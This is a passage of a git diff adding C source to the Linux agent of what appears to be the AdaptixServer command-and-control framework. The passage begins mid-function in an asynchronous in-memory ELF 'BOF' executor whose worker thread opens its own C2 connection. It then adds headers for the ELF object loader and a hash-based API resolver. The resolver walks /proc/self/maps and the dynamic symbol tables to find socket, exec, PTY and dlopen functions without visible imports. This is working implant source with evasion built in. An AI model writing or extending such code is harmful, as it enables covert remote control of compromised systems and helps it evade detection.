+ if (entry_func_len > 0 && entry_func_len < sizeof(arg->entry_name)) {
+ ax_memcpy(arg->entry_name, entry_func, entry_func_len);
+ arg->entry_name[entry_func_len] = '\0';
+ } else {
+ ax_strcpy(arg->entry_name, "go");
+ }
+
+ // Create stop pipe
+ arg->stop_pipe[0] = -1;
+ arg->stop_pipe[1] = -1;
+ sys_pipe2(arg->stop_pipe, 0);
+
+ // Setup job entry
+ ax_snprintf(arg->job_id, sizeof(arg->job_id), "%08x", cmd_id);
+ arg->job_idx = job_idx;
+
+ job_entry_t *job = &g_job_ctx.jobs[job_idx];
+ ax_strcpy(job->job_id, arg->job_id);
+ job->job_type = BOF_PACK;
+ job->active = 1;
+ job->canceled = 0;
+ job->conn.fd = -1;
+
+ // Create worker thread
+ if (jobs_thread_create(&job->thread, async_bof_thread, arg) != 0) {
+ // Thread creation failed
+ job->active = 0;
+ if (arg->bof_data) ax_free(arg->bof_data);
+ if (arg->args_data) ax_free(arg->args_data);
+ if (arg->stop_pipe[0] >= 0) sys_close(arg->stop_pipe[0]);
+ if (arg->stop_pipe[1] >= 0) sys_close(arg->stop_pipe[1]);
+ ax_free(arg);
+ jobs_remove(&g_job_ctx, job_idx);
+ bof_error_response(response, BOF_ERR_ALLOC, "Thread creation failed");
+ return 0;
+ }
+
+ // Ack: task running (not completed)
+ mp_write_map(response, 1);
+ mp_write_kv_str(response, "status", "running");
+
+ return 0;
+}
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/elf_bof.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/elf_bof.h
new file mode 100644
index 000000000..b2e264b36
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/elf_bof.h
@@ -0,0 +1,169 @@
+#ifndef ELF_BOF_H
+#define ELF_BOF_H
+
+#include "types.h"
+#include "crt.h"
+#include "msgpack.h"
+
+/// ────────────────────────────────────────────────────────────────────────────
+/// ELF64 structures — minimal, zero libc dependency (nostdlib)
+/// ────────────────────────────────────────────────────────────────────────────
+
+typedef uint64_t Elf64_Addr;
+typedef uint64_t Elf64_Off;
+typedef uint16_t Elf64_Half;
+typedef uint32_t Elf64_Word;
+typedef int32_t Elf64_Sword;
+typedef uint64_t Elf64_Xword;
+typedef int64_t Elf64_Sxword;
+
+/// ELF header
+typedef struct {
+ unsigned char e_ident[16];
+ Elf64_Half e_type;
+ Elf64_Half e_machine;
+ Elf64_Word e_version;
+ Elf64_Addr e_entry;
+ Elf64_Off e_phoff;
+ Elf64_Off e_shoff;
+ Elf64_Word e_flags;
+ Elf64_Half e_ehsize;
+ Elf64_Half e_phentsize;
+ Elf64_Half e_phnum;
+ Elf64_Half e_shentsize;
+ Elf64_Half e_shnum;
+ Elf64_Half e_shstrndx;
+} Elf64_Ehdr;
+
+/// Section header
+typedef struct {
+ Elf64_Word sh_name;
+ Elf64_Word sh_type;
+ Elf64_Xword sh_flags;
+ Elf64_Addr sh_addr;
+ Elf64_Off sh_offset;
+ Elf64_Xword sh_size;
+ Elf64_Word sh_link;
+ Elf64_Word sh_info;
+ Elf64_Xword sh_addralign;
+ Elf64_Xword sh_entsize;
+} Elf64_Shdr;
+
+/// Symbol table entry
+typedef struct {
+ Elf64_Word st_name;
+ unsigned char st_info;
+ unsigned char st_other;
+ Elf64_Half st_shndx;
+ Elf64_Addr st_value;
+ Elf64_Xword st_size;
+} Elf64_Sym;
+
+/// Relocation entry with addend
+typedef struct {
+ Elf64_Addr r_offset;
+ Elf64_Xword r_info;
+ Elf64_Sxword r_addend;
+} Elf64_Rela;
+
+/// ────────────────────────────────────────────────────────────────────────────
+/// ELF macros
+/// ────────────────────────────────────────────────────────────────────────────
+
+#define ELF64_R_SYM(i) ((i) >> 32)
+#define ELF64_R_TYPE(i) ((i) & 0xffffffffL)
+#define ELF64_ST_BIND(i) ((unsigned char)(i) >> 4)
+#define ELF64_ST_TYPE(i) ((i) & 0xf)
+
+/// ELF magic
+#define ELFMAG0 0x7f
+#define ELFMAG1 'E'
+#define ELFMAG2 'L'
+#define ELFMAG3 'F'
+#define ELFCLASS64 2
+#define ELFDATA2LSB 1
+
+/// e_type
+#define ET_REL 1
+
+/// e_machine
+#define EM_X86_64 62
+#define EM_AARCH64 183
+
+/// Section types
+#define SHT_NULL 0
+#define SHT_PROGBITS 1
+#define SHT_SYMTAB 2
+#define SHT_STRTAB 3
+#define SHT_RELA 4
+#define SHT_NOBITS 8
+
+/// Section flags
+#define SHF_WRITE 0x1
+#define SHF_ALLOC 0x2
+#define SHF_EXECINSTR 0x4
+
+/// Symbol binding/type
+#define STB_LOCAL 0
+#define STB_GLOBAL 1
+#define STB_WEAK 2
+#define STT_NOTYPE 0
+#define STT_FUNC 2
+
+/// Special section indices
+#define SHN_UNDEF 0
+
+/// ────────────────────────────────────────────────────────────────────────────
+/// Relocation types — x86_64
+/// ────────────────────────────────────────────────────────────────────────────
+
+#define R_X86_64_64 1 // S + A (absolute 64-bit)
+#define R_X86_64_PC32 2 // S + A - P (32-bit PC-relative)
+#define R_X86_64_PLT32 4 // S + A - P (same as PC32 for .o files)
+#define R_X86_64_32 10 // S + A (absolute 32-bit, zero-extend)
+#define R_X86_64_32S 11 // S + A (absolute 32-bit, sign-extend)
+
+/// ────────────────────────────────────────────────────────────────────────────
+/// Relocation types — ARM64 (AArch64)
+/// ────────────────────────────────────────────────────────────────────────────
+
+#define R_AARCH64_ABS64 257 // S + A
+#define R_AARCH64_CALL26 283 // (S + A - P) >> 2, 26-bit branch
+#define R_AARCH64_JUMP26 282 // (S + A - P) >> 2, 26-bit branch
+#define R_AARCH64_ADR_PREL_PG_HI21 275 // Page(S+A) - Page(P), bits [32:12]
+#define R_AARCH64_ADD_ABS_LO12_NC 277 // (S+A) & 0xFFF, 12-bit
+#define R_AARCH64_LDST8_ABS_LO12_NC 278
+#define R_AARCH64_LDST16_ABS_LO12_NC 284
+#define R_AARCH64_LDST32_ABS_LO12_NC 285
+#define R_AARCH64_LDST64_ABS_LO12_NC 286
+#define R_AARCH64_LDST128_ABS_LO12_NC 299
+
+/// ────────────────────────────────────────────────────────────────────────────
+/// BOF error codes (matches beacon pattern for Go-side ProcessData)
+/// ────────────────────────────────────────────────────────────────────────────
+
+#define BOF_ERR_NONE 0
+#define BOF_ERR_PARSE 0x101
+#define BOF_ERR_SYMBOL 0x102
+#define BOF_ERR_ENTRY 0x104
+#define BOF_ERR_ALLOC 0x105
+#define BOF_ERR_RELOC 0x106
+
+/// Max sections supported
+#define BOF_MAX_SECTIONS 32
+
+/// ────────────────────────────────────────────────────────────────────────────
+/// Public API
+/// ────────────────────────────────────────────────────────────────────────────
+
+/// Execute an ELF BOF in-memory (synchronous).
+/// Called from commander.c case COMMAND_EXEC_BOF.
+/// Parses msgpack params {content, args, entry_func}, loads ELF, executes, returns output.
+int task_exec_bof(uint32_t cmd_id, const uint8_t *data, uint32_t data_len, mp_writer_t *response);
+
+/// Execute an ELF BOF in a background thread (async).
+/// Called from commander.c case COMMAND_EXEC_BOF_ASYNC.
+/// Spawns a thread that opens its own C2 connection and streams output.
+int task_exec_bof_async(uint32_t cmd_id, const uint8_t *data, uint32_t data_len, mp_writer_t *response);
+
+#endif // ELF_BOF_H
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/elf_resolve.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/elf_resolve.c
new file mode 100644
index 000000000..9778b122d
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/elf_resolve.c
@@ -0,0 +1,500 @@
+/// elf_resolve.c -- ELF hash-based API resolver for Linux agent
+/// Parses /proc/self/maps → ELF headers → .dynsym/.dynstr → DJB2 match
+/// Uses only direct syscalls — zero libc dependency for bootstrapping.
+
+#include "elf_resolve.h"
+#include "crt.h"
+#include "types.h"
+
+#ifdef ARCH_X86_64
+#include "syscalls_x64.h"
+#endif
+#ifdef ARCH_AARCH64
+#include "syscalls_aarch64.h"
+#endif
+
+// ── ELF structures (inline — no system headers needed) ──
+
+#define EI_NIDENT 16
+#define ELFMAG0 0x7f
+#define ELFMAG1 'E'
+#define ELFMAG2 'L'
+#define ELFMAG3 'F'
+#define ELFCLASS64 2
+#define PT_LOAD 1
+#define PT_DYNAMIC 2
+#define DT_NULL 0
+#define DT_STRTAB 5
+#define DT_SYMTAB 6
+#define DT_STRSZ 10
+#define DT_GNU_HASH 0x6ffffef5
+#define DT_HASH 4
+
+#define STB_GLOBAL 1
+#define STB_WEAK 2
+#define STT_FUNC 2
+#define STT_OBJECT 1
+#define SHN_UNDEF 0
+
+#define ELF64_ST_BIND(i) ((i) >> 4)
+#define ELF64_ST_TYPE(i) ((i) & 0xf)
+
+typedef struct {
+ uint8_t e_ident[EI_NIDENT];
+ uint16_t e_type;
+ uint16_t e_machine;
+ uint32_t e_version;
+ uint64_t e_entry;
+ uint64_t e_phoff;
+ uint64_t e_shoff;
+ uint32_t e_flags;
+ uint16_t e_ehsize;
+ uint16_t e_phentsize;
+ uint16_t e_phnum;
+ uint16_t e_shentsize;
+ uint16_t e_shnum;
+ uint16_t e_shstrndx;
+} Elf64_Ehdr;
+
+typedef struct {
+ uint32_t p_type;
+ uint32_t p_flags;
+ uint64_t p_offset;
+ uint64_t p_vaddr;
+ uint64_t p_paddr;
+ uint64_t p_filesz;
+ uint64_t p_memsz;
+ uint64_t p_align;
+} Elf64_Phdr;
+
+typedef struct {
+ int64_t d_tag;
+ uint64_t d_val;
+} Elf64_Dyn;
+
+typedef struct {
+ uint32_t st_name;
+ uint8_t st_info;
+ uint8_t st_other;
+ uint16_t st_shndx;
+ uint64_t st_value;
+ uint64_t st_size;
+} Elf64_Sym;
+
+// DT_HASH header
+typedef struct {
+ uint32_t nbucket;
+ uint32_t nchain;
+ // followed by: uint32_t bucket[nbucket]; uint32_t chain[nchain];
+} Elf_Hash;
+
+// DT_GNU_HASH header
+typedef struct {
+ uint32_t nbuckets;
+ uint32_t symndx;
+ uint32_t maskwords;
+ uint32_t shift2;
+ // followed by: uint64_t bloom[maskwords]; uint32_t buckets[nbuckets]; uint32_t chains[];
+} Gnu_Hash;
+
+// ── Parsed library entry ──
+typedef struct {
+ uintptr_t base; // lowest mapping address
+ uint32_t name_hash; // DJB2 hash of basename
+} lib_entry_t;
+
+#define MAX_LIBS 32
+
+/// Global resolved API table
+resolved_apis_t g_apis;
+
+/// DJB2 hash — case-insensitive, seeded
+uint32_t djb2_hash(uint32_t seed, const char *s)
+{
+ uint32_t h = seed;
+ while (*s) {
+ char c = *s++;
+ if (c >= 'A' && c <= 'Z')
+ c += 32;
+ h = ((h << 5) + h) + (uint32_t)c;
+ }
+ return h;
+}
+
+// ── Internal helpers ──
+
+#define O_RDONLY 0
+
+/// Extract basename from "/lib/x86_64-linux-gnu/libc.so.6" → "libc.so.6"
+static const char *path_basename(const char *path) {
+ const char *last = path;
+ while (*path) {
+ if (*path == '/') last = path + 1;
+ path++;
+ }
+ return last;
+}
+
+/// Validate ELF64 magic at a given memory address
+static int is_valid_elf64(const void *addr) {
+ const Elf64_Ehdr *ehdr = (const Elf64_Ehdr *)addr;
+ return (ehdr->e_ident[0] == ELFMAG0 &&
+ ehdr->e_ident[1] == ELFMAG1 &&
+ ehdr->e_ident[2] == ELFMAG2 &&
+ ehdr->e_ident[3] == ELFMAG3 &&
+ ehdr->e_ident[4] == ELFCLASS64);
+}
+
+/// Parse /proc/self/maps to find loaded shared libraries.
+/// Format: "addr1-addr2 perms offset dev inode path\n"
+/// We only care about r-xp (executable) mappings with a library path.
+static int parse_proc_maps(lib_entry_t *libs, int max_libs) {
+ int fd = sys_open("/proc/self/maps", O_RDONLY, 0);
+ if (fd < 0) return 0;
+
+ // Read maps in chunks — typical maps file is 2-20 KB
+ char buf[8192];
+ int lib_count = 0;
+ int buf_used = 0;
+
+ for (;;) {
+ long n = sys_read(fd, buf + buf_used, (size_t)(sizeof(buf) - 1 - buf_used));
+ if (n <= 0) break;
+ buf_used += (int)n;
+ buf[buf_used] = '\0';
+
+ // Process complete lines
+ char *line_start = buf;
+ char *newline;
+ while ((newline = ax_strchr(line_start, '\n')) != NULL) {
+ *newline = '\0';
+
+ // Parse: "7f1234560000-7f1234570000 r-xp 00001000 08:01 12345 /lib/x86_64-linux-gnu/libc.so.6"
+ // ^addr_start ^perms ^path
+
+ // Find permissions field (after first space)
+ char *p = ax_strchr(line_start, ' ');
+ if (p && p[1] == 'r' && p[4] == 'p') {
+ // Find the path (last field, starts with '/')
+ // Skip: addr, perms, offset, dev, inode → path
+ char *path = NULL;
+ int space_count = 0;
+ for (char *s = line_start; *s; s++) {
+ if (*s == '/') {
+ // Check this is actually a path (after inode field)
+ // Count at least 4 spaces before this
+ int sc = 0;
+ for (char *t = line_start; t < s; t++) {
+ if (*t == ' ') sc++;
+ }
+ if (sc >= 4) {
+ path = s;
+ break;
+ }
+ }
+ }
+ (void)space_count;
+
+ if (path && ax_strstr(path, ".so")) {
+ // Parse base address (hex before '-')
+ uintptr_t base_addr = 0;
+ for (char *h = line_start; *h && *h != '-'; h++) {
+ int digit;
+ if (*h >= '0' && *h <= '9') digit = *h - '0';
+ else if (*h >= 'a' && *h <= 'f') digit = *h - 'a' + 10;
+ else if (*h >= 'A' && *h <= 'F') digit = *h - 'A' + 10;
+ else break;
+ base_addr = base_addr * 16 + digit;
+ }
+
+ const char *bn = path_basename(path);
+ uint32_t h = djb2_hash(DJB2_SEED, bn);
+
+ // Check if we already have this lib (maps has multiple segments per lib)
+ int found = 0;
+ for (int i = 0; i < lib_count; i++) {
+ if (libs[i].name_hash == h) {
+ // Keep lowest base address
+ if (base_addr < libs[i].base)
+ libs[i].base = base_addr;
+ found = 1;
+ break;
+ }
+ }
+
+ if (!found && lib_count < max_libs) {
+ libs[lib_count].base = base_addr;
+ libs[lib_count].name_hash = h;
+ lib_count++;
+ }
+ }
+ }
+
+ line_start = newline + 1;
+ }
+
+ // Move remaining partial line to beginning
+ int remaining = buf_used - (int)(line_start - buf);
+ if (remaining > 0)
+ ax_memmove(buf, line_start, remaining);
+ buf_used = remaining;
+ }
+
+ sys_close(fd);
+ return lib_count;
+}
+
+/// Resolve a loaded shared library by DJB2 hash of its basename
+void *elf_resolve_lib(uint32_t name_hash)
+{
+ lib_entry_t libs[MAX_LIBS];
+ int count = parse_proc_maps(libs, MAX_LIBS);
+
+ for (int i = 0; i < count; i++) {
+ if (libs[i].name_hash == name_hash) {
+ // Validate ELF magic at base
+ if (is_valid_elf64((void *)libs[i].base))
+ return (void *)libs[i].base;
+ }
+ }
+ return NULL;
+}
+
+/// Resolve a symbol within an ELF64 library by DJB2 hash.
+/// Walks PT_DYNAMIC → DT_SYMTAB + DT_STRTAB, then iterates symbols.
+void *elf_resolve_sym(void *lib_base, uint32_t symbol_hash)
+{
+ if (!lib_base) return NULL;
+
+ const Elf64_Ehdr *ehdr = (const Elf64_Ehdr *)lib_base;
+ if (!is_valid_elf64(ehdr)) return NULL;
+
+ uintptr_t base = (uintptr_t)lib_base;
+
+ // Find PT_DYNAMIC and PT_LOAD[0] for bias calculation
+ const Elf64_Phdr *phdr = (const Elf64_Phdr *)(base + ehdr->e_phoff);
+ const Elf64_Dyn *dyn = NULL;
+ uintptr_t load_bias = 0;
+ int found_load = 0;
+
+ for (uint16_t i = 0; i < ehdr->e_phnum; i++) {
+ if (phdr[i].p_type == PT_DYNAMIC) {
+ dyn = (const Elf64_Dyn *)(base + phdr[i].p_offset);
+ }
+ if (phdr[i].p_type == PT_LOAD && !found_load) {
+ // Load bias = actual base - expected vaddr of first PT_LOAD
+ load_bias = base - phdr[i].p_vaddr;
+ found_load = 1;
+ }
+ }
+
+ if (!dyn) return NULL;
+
+ // Extract DT_SYMTAB, DT_STRTAB, DT_HASH/DT_GNU_HASH from PT_DYNAMIC
+ const Elf64_Sym *symtab = NULL;
+ const char *strtab = NULL;
+ const Elf_Hash *elf_hash = NULL;
+ const Gnu_Hash *gnu_hash = NULL;
+ uint64_t strsz = 0;
+
+ for (const Elf64_Dyn *d = dyn; d->d_tag != DT_NULL; d++) {
+ switch (d->d_tag) {
+ case DT_SYMTAB: symtab = (const Elf64_Sym *)(load_bias + d->d_val); break;
+ case DT_STRTAB: strtab = (const char *)(load_bias + d->d_val); break;
+ case DT_STRSZ: strsz = d->d_val; break;
+ case DT_HASH: elf_hash = (const Elf_Hash *)(load_bias + d->d_val); break;
+ case DT_GNU_HASH: gnu_hash = (const Gnu_Hash *)(load_bias + d->d_val); break;
+ }
+ }
+
+ if (!symtab || !strtab) return NULL;
+
+ // Determine symbol count.
+ // If DT_HASH is available, nchain == total symbol count.
+ // If only DT_GNU_HASH, we need to walk the chain to find max index.
+ uint32_t nsyms = 0;
+
+ if (elf_hash) {
+ nsyms = elf_hash->nchain;
+ } else if (gnu_hash) {
+ // Walk GNU hash chains to find the highest symbol index
+ const uint64_t *bloom = (const uint64_t *)(gnu_hash + 1);
+ const uint32_t *buckets = (const uint32_t *)(bloom + gnu_hash->maskwords);
+ const uint32_t *chains = buckets + gnu_hash->nbuckets;
+
+ // Find highest occupied bucket
+ uint32_t max_idx = 0;
+ for (uint32_t i = 0; i < gnu_hash->nbuckets; i++) {
+ if (buckets[i] > max_idx)
+ max_idx = buckets[i];
+ }
+
+ if (max_idx >= gnu_hash->symndx) {
+ // Walk chain from max bucket entry to find last symbol
+ uint32_t idx = max_idx;
+ while (!(chains[idx - gnu_hash->symndx] & 1))
+ idx++;
+ nsyms = idx + 1;
+ } else {
+ nsyms = gnu_hash->symndx;
+ }
+ }
+
+ if (nsyms == 0) return NULL;
+
+ // Linear walk over .dynsym — hash each exported symbol name
+ for (uint32_t i = 0; i < nsyms; i++) {
+ const Elf64_Sym *sym = &symtab[i];
+
+ // Skip undefined symbols
+ if (sym->st_shndx == SHN_UNDEF) continue;
+
+ // Skip non-global/non-weak
+ uint8_t bind = ELF64_ST_BIND(sym->st_info);
+ if (bind != STB_GLOBAL && bind != STB_WEAK) continue;
+
+ // Skip non-function/non-object
+ uint8_t type = ELF64_ST_TYPE(sym->st_info);
+ if (type != STT_FUNC && type != STT_OBJECT) continue;
+
+ // Get symbol name from strtab
+ uint32_t name_off = sym->st_name;
+ if (name_off == 0 || name_off >= strsz) continue;
+ const char *name = strtab + name_off;
+ if (*name == '\0') continue;
+
+ if (djb2_hash(DJB2_SEED, name) == symbol_hash) {
+ return (void *)(load_bias + sym->st_value);
+ }
+ }
+
+ return NULL;
+}
+
+/// Initialize the resolver — resolve all APIs from loaded libraries
+int elf_resolver_init(void)
+{
+ ax_memset(&g_apis, 0, sizeof(g_apis));
+
+ // Parse /proc/self/maps to find all loaded libraries
+ lib_entry_t libs[MAX_LIBS];
+ int lib_count = parse_proc_maps(libs, MAX_LIBS);
+ if (lib_count == 0) return -1;
+
+ // Collect valid ELF image bases
+ void *images[MAX_LIBS];
+ int image_count = 0;
+
+ for (int i = 0; i < lib_count; i++) {
+ void *base = (void *)libs[i].base;
+ if (is_valid_elf64(base)) {
+ images[image_count++] = base;
+ }
+ }
+
+ if (image_count == 0) return -1;
+
+ // Resolve macro: try all images until found
+ #define RESOLVE(field, name_str) do { \
+ uint32_t _h = djb2_hash(DJB2_SEED, name_str); \
+ for (int _i = 0; _i < image_count && !g_apis.field; _i++) { \
+ g_apis.field = elf_resolve_sym(images[_i], _h); \
+ } \
+ } while(0)
+
+ // ── File I/O ──
+ RESOLVE(fn_open, "open");
+ RESOLVE(fn_close, "close");
+ RESOLVE(fn_read, "read");
+ RESOLVE(fn_write, "write");
+ RESOLVE(fn_stat, "stat");
+ RESOLVE(fn_fstat, "fstat");
+ RESOLVE(fn_unlink, "unlink");
+ RESOLVE(fn_rename, "rename");
+ RESOLVE(fn_mkdir, "mkdir");
+ RESOLVE(fn_opendir, "opendir");
+ RESOLVE(fn_readdir, "readdir");
+ RESOLVE(fn_closedir, "closedir");
+ RESOLVE(fn_getcwd, "getcwd");
+ RESOLVE(fn_chdir, "chdir");
+ RESOLVE(fn_rmdir, "rmdir");
+ RESOLVE(fn_rewinddir, "rewinddir");
+
+ // ── Memory ──
+ RESOLVE(fn_mmap, "mmap");
+ RESOLVE(fn_munmap, "munmap");
+ RESOLVE(fn_mprotect, "mprotect");
+
+ // ── Process ──
+ RESOLVE(fn_fork, "fork");
+ RESOLVE(fn_execve, "execve");
+ RESOLVE(fn_execvp, "execvp");
+ RESOLVE(fn_waitpid, "waitpid");
+ RESOLVE(fn_getpid, "getpid");
+ RESOLVE(fn_getuid, "getuid");
+ RESOLVE(fn_geteuid, "geteuid");
+ RESOLVE(fn_kill, "kill");
+ RESOLVE(fn_setsid, "setsid");
+ RESOLVE(fn_setpgid, "setpgid");
+ RESOLVE(fn_exit, "_exit");
+ RESOLVE(fn_prctl, "prctl");
+
+ // ── Network ──
+ RESOLVE(fn_socket, "socket");
+ RESOLVE(fn_connect, "connect");
+ RESOLVE(fn_getaddrinfo, "getaddrinfo");
+ RESOLVE(fn_freeaddrinfo, "freeaddrinfo");
+ RESOLVE(fn_gethostname, "gethostname");
+ RESOLVE(fn_setsockopt, "setsockopt");
+ RESOLVE(fn_getsockopt, "getsockopt");
+ RESOLVE(fn_select, "select");
+ RESOLVE(fn_send, "send");
+ RESOLVE(fn_recv, "recv");
+ RESOLVE(fn_bind, "bind");
+ RESOLVE(fn_listen, "listen");
+ RESOLVE(fn_accept, "accept");
+
+ // ── Threading ──
+ // On glibc 2.34+, pthread is merged into libc.so.6
+ RESOLVE(fn_pthread_create, "pthread_create");
+ RESOLVE(fn_pthread_detach, "pthread_detach");
+ RESOLVE(fn_pthread_mutex_init, "pthread_mutex_init");
+ RESOLVE(fn_pthread_mutex_lock, "pthread_mutex_lock");
+ RESOLVE(fn_pthread_mutex_unlock, "pthread_mutex_unlock");
+
+ // ── Pipes & PTY ──
+ RESOLVE(fn_pipe, "pipe");
+ RESOLVE(fn_dup2, "dup2");
+ RESOLVE(fn_fcntl, "fcntl");
+ RESOLVE(fn_posix_openpt, "posix_openpt");
+ RESOLVE(fn_grantpt, "grantpt");
+ RESOLVE(fn_unlockpt, "unlockpt");
+ RESOLVE(fn_ptsname, "ptsname");
+ RESOLVE(fn_ioctl, "ioctl");
+
+ // ── System ──
+ RESOLVE(fn_getenv, "getenv");
+ RESOLVE(fn_setenv, "setenv");
+ RESOLVE(fn_sleep, "sleep");
+ RESOLVE(fn_usleep, "usleep");
+ RESOLVE(fn_snprintf, "snprintf");
+ RESOLVE(fn_strtol, "strtol");
+
+ // ── User/Group ──
+ RESOLVE(fn_getpwuid, "getpwuid");
+ RESOLVE(fn_getgrgid, "getgrgid");
+ RESOLVE(fn_getifaddrs, "getifaddrs");
+ RESOLVE(fn_freeifaddrs, "freeifaddrs");
+ RESOLVE(fn_inet_ntop, "inet_ntop");
+ RESOLVE(fn_localtime, "localtime");
+ RESOLVE(fn_strftime, "strftime");
+
+ // ── Dynamic ──
+ RESOLVE(fn_dlopen, "dlopen");
+ RESOLVE(fn_dlsym, "dlsym");
+ RESOLVE(fn_dlclose, "dlclose");
+
+ #undef RESOLVE
+
+ return 0;
+}
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/elf_resolve.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/elf_resolve.h
new file mode 100644
index 000000000..2397d4598
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/elf_resolve.h
@@ -0,0 +1,213 @@
+#ifndef ELF_RESOLVE_H
+#define ELF_RESOLVE_H
+
+#include
+#include
+
+/// ELF hash-based API resolution for Linux
+/// Parses /proc/self/maps → walks ELF .dynsym/.dynstr → DJB2 hash matching
+///
+/// Two modes:
+/// 1. Static ELF (BUILD_SO not defined): stubs — all ops use direct syscalls
+/// 2. Shared Object (BUILD_SO defined): full resolver — libc is loaded by ld.so
+
+#ifndef DJB2_SEED
+#define DJB2_SEED 0x1505U
+#endif
+
+/// DJB2 hash — case-insensitive, seeded. Matches Go-side djb2Hash() exactly.
+uint32_t djb2_hash(uint32_t seed, const char *s);
+
+/// Resolve a loaded shared library by DJB2 hash of its basename.
+/// Scans /proc/self/maps for r-xp mappings, hashes each library name.
+/// Returns the base address (lowest mapping) or NULL.
+void *elf_resolve_lib(uint32_t name_hash);
+
+/// Resolve a symbol within an ELF library by DJB2 hash.
+/// Parses ELF header → PT_DYNAMIC → DT_SYMTAB + DT_STRTAB + DT_GNU_HASH
+/// Returns the symbol's absolute address or NULL.
+void *elf_resolve_sym(void *lib_base, uint32_t symbol_hash);
+
+/// Initialize the resolver — resolves all APIs into g_apis.
+/// Call once at startup. Returns 0 on success, -1 on failure.
+int elf_resolver_init(void);
+
+/// Resolved API table — function pointers populated by elf_resolver_init()
+typedef struct {
+ // ── File I/O ──
+ void *fn_open;
+ void *fn_close;
+ void *fn_read;
+ void *fn_write;
+ void *fn_stat;
+ void *fn_fstat;
+ void *fn_unlink;
+ void *fn_rename;
+ void *fn_mkdir;
+ void *fn_opendir;
+ void *fn_readdir;
+ void *fn_closedir;
+ void *fn_getcwd;
+ void *fn_chdir;
+ void *fn_rmdir;
+ void *fn_rewinddir;
+
+ // ── Memory ──
+ void *fn_mmap;
+ void *fn_munmap;
+ void *fn_mprotect;
+
+ // ── Process ──
+ void *fn_fork;
+ void *fn_execve;
+ void *fn_execvp;
+ void *fn_waitpid;
+ void *fn_getpid;
+ void *fn_getuid;
+ void *fn_geteuid;
+ void *fn_kill;
+ void *fn_setsid;
+ void *fn_setpgid;
+ void *fn_exit;
+ void *fn_prctl;
+
+ // ── Network ──
+ void *fn_socket;
+ void *fn_connect;
+ void *fn_getaddrinfo;
+ void *fn_freeaddrinfo;
+ void *fn_gethostname;
+ void *fn_setsockopt;
+ void *fn_getsockopt;
+ void *fn_select;
+ void *fn_send;
+ void *fn_recv;
+ void *fn_bind;
+ void *fn_listen;
+ void *fn_accept;
+
+ // ── Threading ──
+ void *fn_pthread_create;
+ void *fn_pthread_detach;
+ void *fn_pthread_mutex_init;
+ void *fn_pthread_mutex_lock;
+ void *fn_pthread_mutex_unlock;
+
+ // ── Pipes & PTY ──
+ void *fn_pipe;
+ void *fn_dup2;
+ void *fn_fcntl;
+ void *fn_posix_openpt;
+ void *fn_grantpt;
+ void *fn_unlockpt;
+ void *fn_ptsname;
+ void *fn_ioctl;
+
+ // ── System ──
+ void *fn_getenv;
+ void *fn_setenv;
+ void *fn_sleep;
+ void *fn_usleep;
+ void *fn_snprintf;
+ void *fn_strtol;
+
+ // ── User/Group ──
+ void *fn_getpwuid;
+ void *fn_getgrgid;
+ void *fn_getifaddrs;
+ void *fn_freeifaddrs;
+ void *fn_inet_ntop;
+ void *fn_localtime;
+ void *fn_strftime;
+
+ // ── Dynamic ──
+ void *fn_dlopen;
+ void *fn_dlsym;
+ void *fn_dlclose;
+} resolved_apis_t;
+
+extern resolved_apis_t g_apis;
+
+// ── Convenience casting macros ──
+// Type-safe access to resolved APIs. Use ONLY when the resolver has populated g_apis
+// (i.e. BUILD_SO mode). In static mode, use sys_*() direct syscalls instead.
+
+#define R_open(p,f,m) ((int(*)(const char*,int,...))g_apis.fn_open)(p,f,m)
+#define R_close(fd) ((int(*)(int))g_apis.fn_close)(fd)
+#define R_read(fd,b,n) ((long(*)(int,void*,unsigned long))g_apis.fn_read)(fd,b,n)
+#define R_write(fd,b,n) ((long(*)(int,const void*,unsigned long))g_apis.fn_write)(fd,b,n)
+#define R_stat(p,s) ((int(*)(const char*,void*))g_apis.fn_stat)(p,s)
+#define R_fstat(fd,s) ((int(*)(int,void*))g_apis.fn_fstat)(fd,s)
+#define R_unlink(p) ((int(*)(const char*))g_apis.fn_unlink)(p)
+#define R_rename(o,n) ((int(*)(const char*,const char*))g_apis.fn_rename)(o,n)
+#define R_mkdir(p,m) ((int(*)(const char*,unsigned int))g_apis.fn_mkdir)(p,m)
+#define R_opendir(p) ((void*(*)(const char*))g_apis.fn_opendir)(p)
+#define R_readdir(d) ((void*(*)(void*))g_apis.fn_readdir)(d)
+#define R_closedir(d) ((int(*)(void*))g_apis.fn_closedir)(d)
+#define R_getcwd(b,s) ((char*(*)(char*,unsigned long))g_apis.fn_getcwd)(b,s)
+#define R_chdir(p) ((int(*)(const char*))g_apis.fn_chdir)(p)
+#define R_rmdir(p) ((int(*)(const char*))g_apis.fn_rmdir)(p)
+#define R_rewinddir(d) ((void(*)(void*))g_apis.fn_rewinddir)(d)
+
+#define R_fork() ((int(*)(void))g_apis.fn_fork)()
+#define R_execve(p,a,e) ((int(*)(const char*,char*const*,char*const*))g_apis.fn_execve)(p,a,e)
+#define R_execvp(f,a) ((int(*)(const char*,char*const*))g_apis.fn_execvp)(f,a)
+#define R_waitpid(p,s,o) ((int(*)(int,int*,int))g_apis.fn_waitpid)(p,s,o)
+#define R_getpid() ((int(*)(void))g_apis.fn_getpid)()
+#define R_getuid() ((unsigned int(*)(void))g_apis.fn_getuid)()
+#define R_geteuid() ((unsigned int(*)(void))g_apis.fn_geteuid)()
+#define R_kill(p,s) ((int(*)(int,int))g_apis.fn_kill)(p,s)
+#define R_setsid() ((int(*)(void))g_apis.fn_setsid)()
+#define R_setpgid(p,g) ((int(*)(int,int))g_apis.fn_setpgid)(p,g)
+#define R_exit(s) ((void(*)(int))g_apis.fn_exit)(s)
+#define R_prctl(o,a2,a3,a4,a5) ((int(*)(int,unsigned long,unsigned long,unsigned long,unsigned long))g_apis.fn_prctl)(o,a2,a3,a4,a5)
+
+#define R_socket(d,t,p) ((int(*)(int,int,int))g_apis.fn_socket)(d,t,p)
+#define R_connect(s,a,l) ((int(*)(int,const void*,unsigned int))g_apis.fn_connect)(s,a,l)
